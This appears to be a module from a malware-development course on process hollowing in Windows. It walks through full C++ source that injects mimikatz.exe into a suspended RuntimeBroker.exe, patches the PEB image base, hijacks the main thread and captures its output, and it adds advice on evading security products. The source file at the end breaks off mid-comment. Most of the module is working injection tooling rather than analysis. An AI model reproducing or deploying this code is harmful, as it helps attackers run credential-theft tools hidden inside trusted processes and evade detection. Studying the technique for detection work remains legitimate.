MalDev Study
Advanced Module 38advanced4 code files

Process Hollowing

Process Hollowing is an injection technique that injects PE payloads into the address space of a remote process. The remote process is often a suspended child process created by...

Jump to Section (13)

Introduction

Process Hollowing is an injection technique that injects PE payloads into the address space of a remote process. The remote process is often a suspended child process created by the process hollowing implementation.

A typical process hollowing implementation generally creates a suspended process via the CreateProcess WinAPI and then calls NtUnmapViewOfSection to unmap the legitimate process image of the remote process. Once that's done, NtMapViewOfSection is called to map the PE payload's binary image instead.

Process Hollowing is a widely used technique and therefore can be more likely detected by security solutions. It is advised to use Process Ghosting or Herpaderping which are covered in upcoming modules.

The image below from Process Doppelgänging meets Process Hollowing in Osiris dropper illustrates Process Hollowing.

Process Hollowing figure

Implementation Steps

Typically, Process Hollowing is implemented via the steps below:

1. Create a suspended process.

2.Unmap the suspended process's binary image.

3. Write the PE payload into the same address as the legit process's image.

4.Perform Relocation.

5.Fix memory permissions.

6. Perform thread hijacking to run the payload's entry point.

7. Resume the process.

Caveat

Unmapping a legitimate process's image is considered highly suspicious. On top of that, performing remote image relocations requires several read/write anomalies which increase the likelihood of getting caught.

A better alternative is to keep the target process's image mapped and patch its ImageBaseAddress member of the PEB structure to point to our injected PE payload. Furthermore, we can avoid performing relocations by writing the PE payload to its preferred address (i.e. OptionalHeader.ImageBase), which avoids the need for additional PE relocations.

Improved Implementation Steps

With that being said, our Process Hollowing implementation in this module will use the steps below:

1. Create a suspended process.

2.Write the PE payload into its preferred base address in the remote process.

3. Patch the ImageBaseAddress element of the PEB structure.

4.Fix memory permissions.

5.Perform thread hijacking to run the payload's entry point.

6. Resume the process.

Reading PE Payload File

For simplicity, the PE payload will be fetched from the disk using the ReadFileFromDisk function shown below. The ReadFileFromDisk function accepts the following parameters:

  • cFileName The path to the PE payload. (e.g. "C:\\Users\\User\\Desktop\\mimikatz.exe").
  • ppBuffer Pointer to a PBYTE variable that will receive the base address of the read payload file.
  • pdwFileSize Pointer to a SIZE_T variable that will receive the size of the read payload file.
CPP
BOOL ReadFileFromDisk(IN LPCSTR cFileName, OUT PBYTE* ppBuffer, OUT PDWORD pdwFileSize) {

    HANDLE      hFile           = INVALID_HANDLE_VALUE;
    PBYTE       pBufer          = NULL;
    DWORD       dwFileSize      = 0x00,
            dwNumberOfBytesRead  = 0x00;

    if ((hFile = CreateFileA(cFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        PRINT_WINAPI_ERR("CreateFileA");
        goto _FUNC_CLEANUP;
    }

    if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
        PRINT_WINAPI_ERR("GetFileSize");
        goto _FUNC_CLEANUP;
    }

    if ((pBufer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize)) == NULL) {
        PRINT_WINAPI_ERR("HeapAlloc");
        goto _FUNC_CLEANUP;
    }

    if (!ReadFile(hFile, pBufer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
        PRINT_WINAPI_ERR("ReadFile");
        goto _FUNC_CLEANUP;
    }

    *ppBuffer   = pBufer;
    *pdwFileSize    = dwFileSize;

_FUNC_CLEANUP:
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (!*ppBuffer && pBufer)
        HeapFree(GetProcessHeap(), 0x00, pBufer);
    return ((*ppBuffer != NULL) && (*pdwFileSize != 0x00)) ? TRUE : FALSE;
}

Creating The Target Process & Handling Pipes

As previously mentioned, it's essential to create the target process in a suspended state. However, when executing a PE payload that writes its output to the console (e.g., mimikatz.exe), it's crucial to ensure the correct setup of I/O pipes.

According to Microsoft's documentation, a pipe is a section of shared memory that processes use for communication. You can find an example of using pipes to manage I/O redirection between parent and child processes here.

To facilitate I/O redirection between parent and child processes, the parent process must create two pipes before spawning the child process. One pipe is designated for the parent to send data to the child Standard Input or StdIn), while the other is used for the child to transmit data back to the parent Standard Output or StdOut). After creating the pipes, the parent retains the write end of the StdIn pipe and the read end of the StdOut pipe, while the child utilizes the read end of the StdIn pipe and the write end of the StdOut pipe.

A pipe can be created via the CreatePipe WinAPI.

CreateTheHollowedProcess Function

Our custom CreateTheHollowedProcess function uses this WinAPI to create two pipes (reading and writing) which create four different handles (since a pipe has 2 handles on each side):

  • StdInRead A handle used by the parent process to read from the input pipe. It is connected to StdInWrite (child), which the child process uses to write to the same pipe.
  • StdOutWrite A handle used by the parent process to write to the output pipe. It is connected to StdOutRead (child), which the child process uses to read from the same pipe.
  • StdInWrite A handle used for writing to the input pipe used by the child process.
  • StdOutRead A handle used for reading from the output pipe used by the child process.

The following image shows the relationship between these handles.

Process Hollowing figure

The previously created handles are then passed to the child process using the SECURITY_ATTRIBUTES and STARTUPINFO structures in the CreateProcess function. The CreateTheHollowedProcess accepts the following parameters:

  • cRemoteProcessImage An ASCII string of the target process executable image (e.g. "C:\\Windows\\System32\\RuntimeBroker.exe").
  • cProcessParms Optional parameter, representing the command line arguments to pass to the PE payload (e.g. "coffee exit").
  • pProcessInfo A pointer to a PROCESS_INFORMATION structure, that will receive the process's information.
  • pStdInWrite A pointer to a HANDLE variable that will receive the write handle of the child process. This is used by the child process to write to the parent's console. pStdOutRead A pointer to a HANDLE variable that will receive the read handle of the child process. This is used by the child process to read from the parent's console.
CPP
BOOL CreateTheHollowedProcess(IN LPCSTR cRemoteProcessImage, IN OPTIONAL LPCSTR cProcessParms, OUT PPROCESS_INFORMATION pProcessInfo, OUT HANDLE* p
StdInWrite, OUT HANDLE* pStdOutRead) {

    STARTUPINFO         StartupInfo     = { 0x00 };
    SECURITY_ATTRIBUTES  SecAttr         = { 0x00 };
    HANDLE              StdInRead       = NULL,     // Handle for reading from the input pipe. This is located on the parent's end of the read pip
e.
                   StdInWrite       = NULL,     // Handle for writing to the input pipe. This is located on the child's end of the write pipe.
                   StdOutRead       = NULL,     // Handle for reading from the output pipe. This is located on the child's end of the read pipe.
                   StdOutWrite      = NULL;     // Handle for writing to the output pipe. This is located on the parent's end of the write pipe.
    LPCSTR          cRemoteProcessCmnd   = NULL;
    BOOL            bSTATE          = FALSE;

    RtlSecureZeroMemory(pProcessInfo, sizeof(PROCESS_INFORMATION));
    RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&SecAttr, sizeof(SECURITY_ATTRIBUTES));

    SecAttr.nLength              = sizeof(SECURITY_ATTRIBUTES);
    SecAttr.bInheritHandle       = TRUE;
    SecAttr.lpSecurityDescriptor = NULL;

    // Initialize Input Pipe
    if (!CreatePipe(&StdInRead, &StdInWrite, &SecAttr, 0x00)) {
        PRINT_WINAPI_ERR("CreatePipe[1]");
        goto _FUNC_CLEANUP;
    }

    // Initialize Output Pipe
    if (!CreatePipe(&StdOutRead, &StdOutWrite, &SecAttr, 0x00)) {
        PRINT_WINAPI_ERR("CreatePipe[2]");
        goto _FUNC_CLEANUP;
    }

    // Initialize I/O Pipes
    StartupInfo.cb               = sizeof(STARTUPINFO);
    StartupInfo.dwFlags         |= (STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES);
    StartupInfo.wShowWindow      = SW_HIDE;
    StartupInfo.hStdInput        = StdInRead;                // Standard input handle for the child process
    StartupInfo.hStdOutput       = StartupInfo.hStdError = StdOutWrite;   // Standard output handle for the child process

    cRemoteProcessCmnd = LocalAlloc(LPTR, (strlen(cRemoteProcessImage) + (cProcessParms ? strlen(cProcessParms) : 0x00) + (sizeof(CHAR) * 2)));
    if (!cRemoteProcessCmnd) {
        PRINT_WINAPI_ERR("LocalAlloc");
        goto _FUNC_CLEANUP;
    }

    // Create the process
    sprintf(cRemoteProcessCmnd, cProcessParms == NULL ? "%s" : "%s %s", cRemoteProcessImage, cProcessParms == NULL ? "" : cProcessParms);
    if (!CreateProcessA(NULL, cRemoteProcessCmnd, &SecAttr, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, NULL, &StartupInfo, pProcess
Info)) {
        PRINT_WINAPI_ERR("CreateProcessA");
        goto _FUNC_CLEANUP;
    }

    printf("[*] Target Process Created With PID: %d \n", pProcessInfo->dwProcessId);

    *pStdInWrite = StdInWrite;
    *pStdOutRead = StdOutRead;

    bSTATE = TRUE;

_FUNC_CLEANUP:
    if (cRemoteProcessCmnd)
        LocalFree(cRemoteProcessCmnd);
    // Close handles to make it non-blocking (without getting blocked waiting for the child process to read or write data)
    // This leaves StdInWrite && StdOutRead handles open (the child's end of the R/W pipes)
    DELETE_HANDLE(StdInRead);
    DELETE_HANDLE(StdOutWrite);
    return TRUE;
}

The RemotePeExec Function

The RemotePeExec function is responsible for performing the Process Hollowing steps listed earlier. Specifically, RemotePeExec does the following:

  • Creates the target process by calling the CreateTheHollowedProcess function.
  • Allocates memory to copy the PE payload at its preferred address (pImgNtHdrs->OptionalHeader.ImageBase) using the VirtualAllocEx WinAPI. Writes the payload's PE headers and sections using the WriteProcessMemory WinAPI.
  • Calls a function named ReplaceBaseAddressImage to patch the ImageBaseAddress element in the PEB structure of the remote process to point to our PE instead. This function will be explained later in this module.
  • Fixes memory permissions of each PE section by calling a function named FixMemPermissionsEx. This function will be explained later in this module. Performs thread hijacking by calling the GetThreadContext, SetThreadContext, and ResumeThread WinAPIs to execute the PE's entry point. Calls a function named PrintOutput to read the remote process's output and print it to the console. This function will be explained later in this module.
CPP
BOOL RemotePeExec(IN PBYTE pPeBuffer, IN LPCSTR cRemoteProcessImage, IN OPTIONAL LPCSTR cProcessParms) {

    if (!pPeBuffer || !cRemoteProcessImage)
        return FALSE;

    PROCESS_INFORMATION      ProcessInfo     = { 0x00 };
    CONTEXT                 Context         = { .ContextFlags = CONTEXT_ALL };
    HANDLE                  StdInWrite      = NULL,     // Handle for writing to the input pipe.
                        StdOutRead      = NULL;     // Handle for reading from the output pipe.
    PBYTE                   pRemoteAddress       = NULL;
    PIMAGE_NT_HEADERS            pImgNtHdrs      = NULL;
    PIMAGE_SECTION_HEADER        pImgSecHdr      = NULL;
    SIZE_T                  NumberOfBytesWritten = NULL;
    BOOL                    bSTATE          = FALSE;

    // Create the hollowed process
    if (!CreateTheHollowedProcess(cRemoteProcessImage, cProcessParms, &ProcessInfo, &StdInWrite, &StdOutRead))
        goto _FUNC_CLEANUP;

    if (!ProcessInfo.hProcess || !ProcessInfo.hThread)
        goto _FUNC_CLEANUP;

    // Retrieve NT image headers 
    pImgNtHdrs = (PIMAGE_NT_HEADERS)((ULONG_PTR)pPeBuffer + ((PIMAGE_DOS_HEADER)pPeBuffer)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
        printf("[!] Invalid NT Image Headers\n");
        goto _FUNC_CLEANUP;
    }

    // Allocate remote virtual memory
    if (!(pRemoteAddress = VirtualAllocEx(ProcessInfo.hProcess, (LPVOID)pImgNtHdrs->OptionalHeader.ImageBase, (SIZE_T)pImgNtHdrs->OptionalHeader.Si
zeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) {
        PRINT_WINAPI_ERR("VirtualAllocEx");
        goto _FUNC_CLEANUP;
    }

    // Check if the image base is the same as the one in the headers
    if (pRemoteAddress != (LPVOID)pImgNtHdrs->OptionalHeader.ImageBase) {
        printf("[!] PE Payload Will Require Relocation - [NOT SUPPORTED]\n");
        goto _FUNC_CLEANUP;
    }

    // Copy over image header
    if (!WriteProcessMemory(ProcessInfo.hProcess, pRemoteAddress, pPeBuffer, pImgNtHdrs->OptionalHeader.SizeOfHeaders, &NumberOfBytesWritten) || pI
mgNtHdrs->OptionalHeader.SizeOfHeaders != NumberOfBytesWritten) {
        PRINT_WINAPI_ERR("WriteProcessMemory");
        goto _FUNC_CLEANUP;
    }

    // Copy over sections 
    pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
    for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        if (!WriteProcessMemory(ProcessInfo.hProcess, (PVOID)(pRemoteAddress + pImgSecHdr[i].VirtualAddress), (PVOID)(pPeBuffer + pImgSecHdr[i].Poi
nterToRawData), pImgSecHdr[i].SizeOfRawData, &NumberOfBytesWritten) || pImgSecHdr[i].SizeOfRawData != NumberOfBytesWritten) {
            PRINT_WINAPI_ERR("WriteProcessMemory");
            goto _FUNC_CLEANUP;
        }
    }

    // Get thread context of the main thread
    if (!GetThreadContext(ProcessInfo.hThread, &Context)) {
        PRINT_WINAPI_ERR("GetThreadContext");
        goto _FUNC_CLEANUP;
    }

    // Patch the 'ImageBaseAddress' element in the 'PEB' structure of the remote process to point to our PE instead
    if (!ReplaceBaseAddressImage(ProcessInfo.hProcess, pRemoteAddress, Context.Rdx)) {
        goto _FUNC_CLEANUP;
    }

    // Thread Hijacking:
    Context.Rcx = (LPVOID)(pRemoteAddress + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
    if (!SetThreadContext(ProcessInfo.hThread, &Context)) {
        PRINT_WINAPI_ERR("SetThreadContext");
        goto _FUNC_CLEANUP;
    }

    // Set suitable memory permissions
    if (!FixMemPermissionsEx(ProcessInfo.hProcess, pRemoteAddress, pImgNtHdrs, pImgSecHdr))
        goto _FUNC_CLEANUP;

    // Resume thread
    if (ResumeThread(ProcessInfo.hThread) == ((DWORD)-1)) {
        PRINT_WINAPI_ERR("ResumeThread");
        goto _FUNC_CLEANUP;
    }

    // Wait till the process runs the code
    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

    // Read output
    PrintOutput(StdOutRead);

    bSTATE = TRUE;

_FUNC_CLEANUP:
    DELETE_HANDLE(StdInWrite);
    DELETE_HANDLE(StdOutRead);
    DELETE_HANDLE(ProcessInfo.hProcess);
    DELETE_HANDLE(ProcessInfo.hThread);
    return bSTATE;
}

ReplaceBaseAddressImage Function

As mentioned earlier, instead of unmapping the process's legitimate executable image and mapping our PE at the same address, the PE payload can be written anywhere in the remote process's memory and then patching the ImageBaseAddress member of the PEB structure. The ReplaceBaseAddressImage function performs these steps and its accepted parameters are shown below:

  • hProcess A handle to the remote process.
  • uPeBaseAddress The base address of the written PE payload in the remote process.
  • Rdx The RDX register of the main thread's context.

Instead of relying on the NtQueryInformationProcess syscall to fetch the process's PEB structure, as demonstrated in Module 48 Process Argument Spoofing 1, an alternative approach is to utilize the RDX register. This approach becomes particularly advantageous because the implementation is already retrieving the main thread's context for the purpose of thread hijacking.

The RDX register inherently points to the PEB structure at the process's creation, which provides sufficient information to locate the address of the ImageBaseAddress member within the remote PEB structure. To determine the offset of the ImageBaseAddress member from the RDX register, the offsetof macro is used.

CPP
BOOL ReplaceBaseAddressImage(IN HANDLE hProcess, IN ULONG_PTR uPeBaseAddress, IN ULONG_PTR Rdx) {

    ULONG_PTR   uRemoteImageBaseOffset   = 0x00;
    SIZE_T      NumberOfBytesWritten = 0x00;

    // Get the offset of the ImageBaseAddress in the PEB structure
    // Context.Rdx is PPEB
    // Context.Rdx + offsetof(PEB, Reserved3[1])) is PPEB->Reserved3[1], which is ImageBaseAddress
    uRemoteImageBaseOffset = (PVOID)(Rdx + offsetof(PEB, Reserved3[1]));

    // Write remote image base:
    if (!WriteProcessMemory(hProcess, (PVOID)uRemoteImageBaseOffset, &uPeBaseAddress, sizeof(PVOID), &NumberOfBytesWritten) || sizeof(PVOID) != Num
berOfBytesWritten) {
        PRINT_WINAPI_ERR("WriteProcessMemory");
        return FALSE;
    }

    return TRUE;
}

FixMemPermissionsEx Function

The function FixMemPermissionsEx is called from within RemotePeExec and it iterates over the PE payload's PE sections and sets the right memory permission for each one using VirtualProtectEx. The FixMemPermissionsEx function is shown below and it accepts the following parameters:

  • hProcess A handle to the remote process.
  • pPeBaseAddress The base address of the injected PE in the remote process.
  • pImgNtHdrs A pointer to the IMAGE_NT_HEADERS structure of the PE payload.
  • pImgSecHdr A pointer to the IMAGE_SECTION_HEADER structure of the PE payload.
CPP
BOOL FixMemPermissionsEx(IN HANDLE hProcess, IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {

    // Loop through each section of the PE image.
    for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        // Variables to store the new and old memory protections.
        DWORD   dwProtection        = 0x00,
                dwOldProtection     = 0x00;

        // Skip the section if it has no data or no associated virtual address.
        if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
            continue;

        // Determine memory protection based on section characteristics.
        // These characteristics dictate whether the section is readable, writable, executable, etc.
        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
            dwProtection = PAGE_WRITECOPY;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
            dwProtection = PAGE_READONLY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_READWRITE;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
            dwProtection = PAGE_EXECUTE;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
            dwProtection = PAGE_EXECUTE_WRITECOPY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READ;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Char
acteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READWRITE;

        // Apply the determined memory protection to the section.
        if (!VirtualProtectEx(hProcess, (PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldPr
otection)) {
            PRINT_WINAPI_ERR("VirtualProtectEx");
            return FALSE;
        }
    }

    return TRUE;
}

PrintOutput Function

Upon successful execution of the PE payload, the ability to retrieve data from the pipes passed to the child process becomes accessible. This is where the PrintOutput function comes into use. The PrintOutput function calls the PeekNamedPipe WinAPI to receive the number of bytes available to be read from the pipe and then allocates sufficient memory to read that data from the pipe by using LocalAlloc followed by ReadFile. Finally, PrintOutput prints the data into the parent's console using a printf statement.

PrintOutput accepts one parameter, StdOutRead, which represents a handle used for reading from the output pipe (from the child process).

CPP
VOID PrintOutput(IN HANDLE StdOutRead) {

    DWORD       dwAvailableBytes = 0x00;
    PBYTE       pBuffer         = 0x00;
    BOOL        bSTATE          = TRUE;

    do {

        DWORD   dwAvailableBytes     = 0x00;
        PBYTE   pBuffer             = 0x00;

        PeekNamedPipe(StdOutRead, NULL, NULL, NULL, &dwAvailableBytes, NULL);

        pBuffer = (PBYTE)LocalAlloc(LPTR, (SIZE_T)dwAvailableBytes);
        if (!pBuffer)
            break;

        if (!(bSTATE = ReadFile(StdOutRead, pBuffer, dwAvailableBytes, NULL, NULL))) {
            LocalFree(pBuffer);
            break;
        }

        printf(pBuffer);

        LocalFree(pBuffer);

    } while (bSTATE);
}

It is worth mentioning that since the parent process is not writing to the child's input pipe (StdInWrite), the only commands executed by the hollowed process are the ones passed by the command line at process creation. After executing these commands and fetching their output using the PeekNamedPipe WinAPI, the PeekNamedPipe call will keep waiting for any additional data in case the target process is still running. This results in our implementation being stuck at the PeekNamedPipe call that is still waiting for more data to read, even though the remote process is not outputting anything as it has completed executing the command-line arguments. For this reason, the commands being passed to the remote process should always end by terminating it (e.g. passing the exit command in mimikatz.exe).

On the other hand, to redirect I/O during runtime, one has to create two functions, one for reading from StdOutRead and the other for writing to StdInWrite. These functions are executed as separate threads after invoking the payload's entry point. This will allow the user to redirect his input from the parent's console to the child's process, where the commands are executed and the output fetched by the parent process. This method is left for the reader as a challenge.

The Main Function

From within the implementation's main function, the only two functions directly invoked are ReadFileFromDisk and RemotePeExec.

ReadFileFromDisk reads the Mimikatz.exe which represents the PE payload. Whereas RemotePeExec injects the executable into RuntimeBroker.exe and passes coffee exit as a command line argument.

CPP
#define PE_PAYLOAD           "C:\\Users\\Admin\\source\\repos\\mimikatz.exe"
#define TARGET_PROCESS       "C:\\Windows\\System32\\RuntimeBroker.exe"
#define PARMS               "coffee exit"

int main() {

    PBYTE   pBuffer  = NULL;
    DWORD   dwBuffer = 0x00;

    if (!ReadFileFromDisk(PE_PAYLOAD, &pBuffer, &dwBuffer)) {
        return -1;
    }

    return RemotePeExec(pBuffer, TARGET_PROCESS, PARMS) ? 0 : -1;
}

Video Demo

Process Hollowing figure
Diagram

Companion Project & Source Code

4 readable source/config files extracted directly from the archive

Download Module 38 - ProcessHollowing.zip
14.1 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "WindowsApp.lib")
#pragma warning (disable:4996)

// ========================================================================================================================

#define PRINT_WINAPI_ERR(cApiName)	printf( "[!] %s Failed With Error: %d\n", cApiName, GetLastError())
#define GET_FILENAME(cPath)			(strrchr( cPath, '\\' ) ? strrchr( cPath, '\\' ) + 1 : cPath)

#define DELETE_HANDLE(H)						\
		if (H && H != INVALID_HANDLE_VALUE) {	\
			CloseHandle(H);						\
			H = NULL;							\
	}

// ========================================================================================================================

BOOL ReadFileFromDisk(IN LPCSTR cFileName, OUT PBYTE* ppBuffer, OUT PDWORD pdwFileSize) {

	HANDLE	hFile				= INVALID_HANDLE_VALUE;
	PBYTE	pBufer				= NULL;
	DWORD	dwFileSize			= 0x00,
			dwNumberOfBytesRead = 0x00;

	if ((hFile = CreateFileA(cFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
		PRINT_WINAPI_ERR("CreateFileA");
		goto _FUNC_CLEANUP;
	}

	if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
		PRINT_WINAPI_ERR("GetFileSize");
		goto _FUNC_CLEANUP;
	}

	if ((pBufer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize)) == NULL) {
		PRINT_WINAPI_ERR("HeapAlloc");
		goto _FUNC_CLEANUP;
	}

	if (!ReadFile(hFile, pBufer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
		PRINT_WINAPI_ERR("ReadFile");
		goto _FUNC_CLEANUP;
	}

	*ppBuffer = pBufer;
	*pdwFileSize = dwFileSize;

_FUNC_CLEANUP:
	if (hFile != INVALID_HANDLE_VALUE)
		CloseHandle(hFile);
	if (!*ppBuffer && pBufer)
		HeapFree(GetProcessHeap(), 0x00, pBufer);
	return ((*ppBuffer != NULL) && (*pdwFileSize != 0x00)) ? TRUE : FALSE;
}

// ========================================================================================================================

BOOL FixMemPermissionsEx(IN HANDLE hProcess, IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {

	// Loop through each section of the PE image.
	for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

		// Variables to store the new and old memory protections.
		DWORD	dwProtection		= 0x00,
				dwOldProtection		= 0x00;

		// Skip the section if it has no data or no associated virtual address.
		if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
			continue;

		// Determine memory protection based on section characteristics.
		// These characteristics dictate whether the section is readable, writable, executable, etc.
		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
			dwProtection = PAGE_WRITECOPY;

		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
			dwProtection = PAGE_READONLY;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
			dwProtection = PAGE_READWRITE;

		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
			dwProtection = PAGE_EXECUTE;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
			dwProtection = PAGE_EXECUTE_WRITECOPY;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
			dwProtection = PAGE_EXECUTE_READ;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
			dwProtection = PAGE_EXECUTE_READWRITE;

		// Apply the determined memory protection to the section.
		if (!VirtualProtectEx(hProcess, (PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
			PRINT_WINAPI_ERR("VirtualProtectEx");
			return FALSE;
		}
	}

	return TRUE;
}

// ========================================================================================================================

VOID PrintOutput(IN HANDLE StdOutRead) {

	BOOL		bSTATE	= TRUE;

	do {

		DWORD	dwAvailableBytes	= 0x00;
		PBYTE	pBuffer				= 0x00;

		PeekNamedPipe(StdOutRead, NULL, NULL, NULL, &dwAvailableBytes, NULL);

		pBuffer = (PBYTE)LocalAlloc(LPTR, (SIZE_T)dwAvailableBytes);
		if (!pBuffer)
			break;

		if (!(bSTATE = ReadFile(StdOutRead, pBuffer, dwAvailableBytes, NULL, NULL))) {
			LocalFree(pBuffer);
			break;
		}

		printf(pBuffer);

		LocalFree(pBuffer);

	} while (bSTATE);
}

// ========================================================================================================================

BOOL CreateTheHollowedProcess(IN LPCSTR cRemoteProcessImage, IN OPTIONAL LPCSTR cProcessParms, OUT PPROCESS_INFORMATION pProcessInfo, OUT HANDLE* pStdInWrite, OUT HANDLE* pStdOutRead) {

	STARTUPINFO					StartupInfo			= { 0x00 };
	SECURITY_ATTRIBUTES			SecAttr				= { 0x00 };
	HANDLE						StdInRead			= NULL,		// Handle for reading from the input pipe. This will be closed.
								StdInWrite			= NULL,		// Handle for writing to the input pipe.
								StdOutRead			= NULL,		// Handle for reading from the output pipe.
								StdOutWrite			= NULL;		// Handle for writing to the output pipe. This will be closed.
	LPCSTR						cRemoteProcessCmnd	= NULL;
	BOOL						bSTATE				= FALSE;

	RtlSecureZeroMemory(pProcessInfo, sizeof(PROCESS_INFORMATION));
	RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&SecAttr, sizeof(SECURITY_ATTRIBUTES));

	SecAttr.nLength					= sizeof(SECURITY_ATTRIBUTES);
	SecAttr.bInheritHandle			= TRUE;
	SecAttr.lpSecurityDescriptor	= NULL;

	// Initialize Anonymous Input Pipe
	if (!CreatePipe(&StdInRead, &StdInWrite, &SecAttr, 0x00)) {
		PRINT_WINAPI_ERR("CreatePipe[1]");
		goto _FUNC_CLEANUP;
	}

	// Initialize Anonymous Output Pipe
	if (!CreatePipe(&StdOutRead, &StdOutWrite, &SecAttr, 0x00)) {
		PRINT_WINAPI_ERR("CreatePipe[2]");
		goto _FUNC_CLEANUP;
	}

	// Initialize I/O Pipes
	StartupInfo.cb				= sizeof(STARTUPINFO);
	StartupInfo.dwFlags			|= (STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES);
	StartupInfo.wShowWindow		= SW_HIDE;
	StartupInfo.hStdInput		= StdInRead;
	StartupInfo.hStdOutput		= StartupInfo.hStdError = StdOutWrite;

	cRemoteProcessCmnd = LocalAlloc(LPTR, (strlen(cRemoteProcessImage) + (cProcessParms ? strlen(cProcessParms) : 0x00) + (sizeof(CHAR) * 2)));
	if (!cRemoteProcessCmnd) {
		PRINT_WINAPI_ERR("LocalAlloc");
		goto _FUNC_CLEANUP;
	}

	// Create the process
	sprintf(cRemoteProcessCmnd, cProcessParms == NULL ? "%s" : "%s %s", cRemoteProcessImage, cProcessParms == NULL ? "" : cProcessParms);
	if (!CreateProcessA(NULL, cRemoteProcessCmnd, &SecAttr, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, NULL, &StartupInfo, pProcessInfo)) {
		PRINT_WINAPI_ERR("CreateProcessA");
		goto _FUNC_CLEANUP;
	}

	printf("[*] Target Process Created With PID: %d \n", pProcessInfo->dwProcessId);

	*pStdInWrite = StdInWrite;
	*pStdOutRead = StdOutRead;

	bSTATE = TRUE;

_FUNC_CLEANUP:
	if (cRemoteProcessCmnd)
		LocalFree(cRemoteProcessCmnd);
	// Close handles to make it non-blocking (without getting blocked waiting for the child process to read or write data)
	// This leaves StdInWrite && StdOutRead handles open
	DELETE_HANDLE(StdInRead);
	DELETE_HANDLE(StdOutWrite);
	return TRUE;
}

// ========================================================================================================================


BOOL ReplaceBaseAddressImage(IN HANDLE hProcess, IN ULONG_PTR uPeBaseAddress, IN ULONG_PTR Rdx) {

	ULONG_PTR	uRemoteImageBaseOffset	= 0x00,
				uRemoteImageBase		= 0x00;

	SIZE_T		NumberOfBytesRead		= 0x00,
				NumberOfBytesWritten	= 0x00;


	// Get the offset of the ImageBaseAddress in the PEB structure
	// Context.Rdx is PPEB
	// Context.Rdx + offsetof(PEB, Reserved3[1])) is PPEB->Reserved3[1], which is ImageBaseAddress
	uRemoteImageBaseOffset = (PVOID)(Rdx + offsetof(PEB, Reserved3[1]));

	// FOR DEBUGGING
	/*
	// Reading the original image base address
